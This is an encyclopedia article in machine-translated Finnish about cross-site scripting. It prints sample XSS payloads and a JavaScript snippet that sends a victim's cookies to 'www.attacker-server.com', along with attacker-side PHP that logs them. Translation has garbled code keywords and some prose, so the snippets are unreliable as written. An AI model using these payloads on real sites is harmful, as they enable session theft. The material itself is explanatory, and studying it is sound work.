close

Sivustojen välinen komentosarja

Siirry navigointiin Siirry hakuun
Image
Sivustojen välinen komentosarjahyökkäysjärjestyskaavio

Cross - site scripting tai Cross-site scripting ( XSS sen lyhenteestä englanniksi ) on verkkosovelluksille tyypillinen tietokoneen haavoittuvuus tai tietoturva-aukko , joka voi antaa kolmannen osapuolen ruiskuttaa Web-sivuille, joilla käyttäjän JavaScript -koodi tai vierailee. toisella vastaavalla kielellä (esim. VBScript ). [ 1 ] Se voidaan välttää käyttämällä toimenpiteitä, kuten CSP , sama alkuperäpolitiikka jne.

On mahdollista löytää Cross-Site Scripting -haavoittuvuus sovelluksissa, joiden toimintoihin kuuluu tietojen esittäminen verkkoselaimessa tai muussa verkkosivujen säilössä . Se ei kuitenkaan rajoitu Internetissä saatavilla oleviin verkkosivustoihin , koska siellä voi olla paikallisia XSS-alttiita sovelluksia tai jopa itse selain.

Hyökkäysmekanismi

XSS on hyökkäysvektori, jota voidaan käyttää arkaluonteisten tietojen varastamiseen, käyttäjien istuntojen kaappaamiseen ja selaimen vaarantamiseen, mikä horjuttaa järjestelmän eheyttä. XSS-haavoittuvuuksia on ollut olemassa Webin alkuajoista lähtien. [ 2 ]

Tämä tilanne johtuu yleensä siitä, että tietyssä sovelluksessa käytettyjä syöttötietoja ei ole validoitu oikein tai tulostetta ei ole desinfioitu kunnolla web-sivuna esitettäväksi.

Tämä haavoittuvuus voi esiintyä seuraavilla tavoilla:

  • Suora (kutsutaan myös pysyväksi): Tämän tyyppinen XSS on yleisesti suodatettu, ja se sisältää vaarallisen HTML -koodin lisäämisen sivustoihin, jotka sallivat sen. sisältää siis tunnisteet, kuten < script > tai < iframe >.
  • Epäsuora (kutsutaan myös heijastuneeksi): Tämän tyyppinen XSS koostuu arvoista, joita verkkosovellus käyttää muuttujien välittämiseen kahden sivun välillä ilman istuntoja ja tapahtuu, kun selaimen URL -osoitteessa on viesti tai polku. eväste tai mikä tahansa muu HTTP-otsikko (joissakin selaimissa ja verkkosovelluksissa tämä voi ulottua selaimen DOM :iin).

Epäsuora XSS (heijastettu)

Oletetaan, että verkkosivustolla on seuraava muoto:

http://www.example.com/home.asp?frame=menu.asp

ja että avattaessa luodaan HTML-dokumentti, joka yhdistää kehyksen menu.asp:hen.

Mitä tässä esimerkissä tapahtuisi, jos javascript-koodi laitetaan kehyksen URL-osoitteeksi?

 javascript : while ( 1 ) alert ( "Tämä viesti jatkuu loputtomiin" );

Jos hyökkääjä laittaa tämän linkin uhriin, vierailija näkee sen ja näkee, että se on samasta verkkotunnuksesta, olettaen, että se ei voi olla mitään pahaa ja päätyy loputtomaan viestiketjuun.

Hyökkääjä yrittää itse asiassa sijoittaa komentosarjan, joka varastaa uhrin evästeet, jotta hän voi myöhemmin esiintyä istunnossaan, tai automatisoida prosessin käyttämällä cURL -kirjastoa tai jotain vastaavaa. Tällä tavalla hyökkääjä saattoi evästeen vastaanottaa toimia uhrin luvalla ilman, että hän tarvitsee edes hänen salasanaansa .

Toinen yleinen näiden haavoittuvuuksien käyttötarkoitus on tietojenkalastelu . Tämä tarkoittaa, että uhri näkee sivuston osoitepalkissa , mutta on itse asiassa toisessa. Uhri syöttää salasanansa ja lähettää sen hyökkääjälle.

Seuraavan kaltainen sivu:

 bugi . php ? virhe = Käyttäjä % 20 Virheellinen

on todennäköisesti haavoittuvainen epäsuoralle XSS:lle, koska jos kirjoitat asiakirjaan "Virheellinen käyttäjä", tämä tarkoittaa, että hyökkääjä voi halutessaan lisätä HTML- ja JavaScript-koodin.

Esimerkiksi tagi, kuten <script>suorita javascript-koodi, luo toinen istunto toisen käyttäjän alaisuudessa ja lähetä nykyinen istunto hyökkääjälle.

Evästeiden XSS-haavoittuvuuksien testaamiseksi voit helposti muokata evästeen sisältöä seuraavan komentosarjan avulla. Sinun tarvitsee vain sijoittaa se osoitepalkkiin ja painaa Enter.

javascript : void  prompt ( "Anna eväste:" , dokumentti . eväste ). korvaa ( /[^;]+/g , funktio ( _ ){ dokumentti . eväste = _ ;});

Suora XSS (pysyvä)

Se toimii etsimällä heikkouksia HTML- suodattimien ohjelmoinnissa , jos sellaisia ​​on, julkaista sisältöä (kuten blogit, foorumit jne.).

Normaalisti hyökkääjä yrittää lisätä tunnisteita, kuten <iframe> tai <script>, mutta epäonnistuessa hyökkääjä voi yrittää lisätä tunnisteita, jotka ovat lähes aina sallittuja ja joiden kyky suorittaa koodia on vähän tunnettu. Tällä tavalla hyökkääjä voi suorittaa haitallista koodia.

Esimerkkejä: Yksi mahdollisuus on käyttää attribuutteja, jotka mahdollistavat koodin suorittamisen.

< BR  STYLE = "käyttäytyminen: url(http://sivustosi/xss.htc);" > 
< DIV  STYLE = "taustakuva: url(javascript:alert('XSS'))" > 
< IMG  SRC = X  ONERROR = "hälytys(/XSS/)" >

AJAX

AJAXin käyttö XSS-hyökkäyksiin ei ole yhtä tunnettua, mutta se on vaarallista. Se perustuu minkä tahansa tyyppisen XSS-haavoittuvuuden käyttöön XMLHttp -objektin lisäämiseen ja sen käyttämiseen POST-, GET-sisällön lähettämiseen käyttäjän tietämättä.

Tästä on tullut suosittu XSS- madoilla , jotka huolehtivat replikoitumisesta pysyvien XSS-haavoittuvuuksien kautta (vaikka mahdollisuus käyttää heijastettua XSS:ää on mahdollista).

Seuraava esimerkkikomentosarja saa evästeiden arvon ja lähettää ne sitten hyökkääjälle.

JavaScript:

var  UserCookies  =  asiakirja . evästeet ;

var  xhr  =  uusi  XMLHttpRequest ();  // Ajax-objekti 
xhr . open ( 'GET' ,  'www.attacker-server.com/cookies.php' ); 
xhr . lähetä ( 'c='  +  UserCookies );

PHP (hyökkääjän palvelin):

<?php

$tiedosto  =  fopen ( 'log2.htm' , 'a' );

$cookie  =  $_GET [ 'c' ];

$ip  =  getenv  ( 'REMOTE_ADDR' );

$re  =  $HTTPREFERRER ;

$päivämäärä = päivämäärä ( "j F, Y, g:i a" );

fwrite ( $tiedosto ,  '<br />Eväste: ' . htmlentities ( $cookie ) . '<br />Sivu: ' . htmlentities ( $re )); 
fwrite ( $tiedosto ,  '<br /> IP: '  . $ip .  '<br /> DateTime: '  . $date .  '</hr>' );

fclose ( $tiedosto );

?>

Huomautuksia ja viitteitä

  1. ^ "Cross Site Scripting (XSS)" (html) . OWASP (englanniksi) . Arkistoitu alkuperäisestä 24. tammikuuta 2020 . Haettu 14.4.2020 . "XSS (Cross-Site Scripting) -hyökkäykset ovat eräänlainen injektio, jossa haitallisia komentosarjoja ruiskutetaan muuten hyvänlaatuisille ja luotettaville verkkosivustoille. XSS-hyökkäykset tapahtuvat, kun hyökkääjä käyttää verkkosovellusta haitallisen koodin lähettämiseen, yleensä selainpuolen komentosarjan muodossa, toiselle loppukäyttäjälle. Puutteet, jotka mahdollistavat näiden hyökkäysten onnistumisen, ovat melko laajalle levinneitä ja niitä esiintyy kaikkialla, missä verkkosovellus käyttää käyttäjän syötteitä luomassaan tuotteessa vahvistamatta tai koodaamatta sitä. »  
  2. ^ Jeremiah Grossman; Robert Hansen; Petko D. Petkov; Anton Rager; Seth Forgie (2007). Seth Forgie, toim. XSS Attacks: Sivujen välinen komentosarja Exploits and Defense . s. 11. ISBN  1597491543 . 

Ulkoiset linkit